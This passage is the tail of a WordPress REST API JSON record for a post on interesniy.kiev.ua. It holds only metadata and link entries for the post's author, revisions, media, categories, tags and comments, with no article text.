[&hellip;]<\/p>\n","protected":false},"author":45704,"featured_media":0,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":[],"categories":[3724],"tags":[],"_links":{"self":[{"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/posts\/326341"}],"collection":[{"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/users\/45704"}],"replies":[{"embeddable":true,"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/comments?post=326341"}],"version-history":[{"count":1,"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/posts\/326341\/revisions"}],"predecessor-version":[{"id":326342,"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/posts\/326341\/revisions\/326342"}],"wp:attachment":[{"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/media?parent=326341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/categories?post=326341"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.interesniy.kiev.ua\/ru\/wp-json\/wp\/v2\/tags?post=326341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}